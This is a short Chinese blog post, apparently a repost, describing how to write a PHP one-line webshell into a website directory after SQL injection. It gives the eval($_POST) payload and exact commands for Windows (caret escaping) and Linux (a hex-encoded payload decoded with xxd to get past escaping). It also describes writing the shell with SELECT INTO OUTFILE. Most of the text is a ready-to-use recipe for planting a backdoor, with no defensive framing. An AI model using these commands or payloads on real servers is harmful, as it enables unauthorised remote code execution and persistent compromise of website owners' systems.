一、注入时,如果注入权限够大,通过sqlmap可以获取到os-shell,这时,如果知道网站路径的话,就可以通过命令将webshell写入到网站目录下,这样就获取到webshell了。
利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义,假设需要写入<?php eval($_POST[pandas]); ?>,方法如下:
WINDOWS:用^转义<和>,即执行echo ^<?php eval($_POST[pandas]); ?^> > web可写目录
LINUX: linux下需要用\来转义<和>,不过很多php都默认开启gpc。开始没想出办法,后来还是师傅想到了一个方法,先用16进制转换一句话再用xxd命令把16进制还原,命令如下:
echo 3c3f706870206576616c28245f504f53545b70616e6461735d293b203f3e|xxd -r -ps > web可写目录
二、当然,并不是所有的注入都可以获取到os-shell,通过注入同样可以获取到webshell。如果可以操作数据库,可将webshell写入数据库,然后通过select …into outfile的方式获取。当然,也可直接select into outfile写webshell。
转载请注明:jinglingshu的博客 » 命令注入写webshell(在os-shell和mysql-shell下)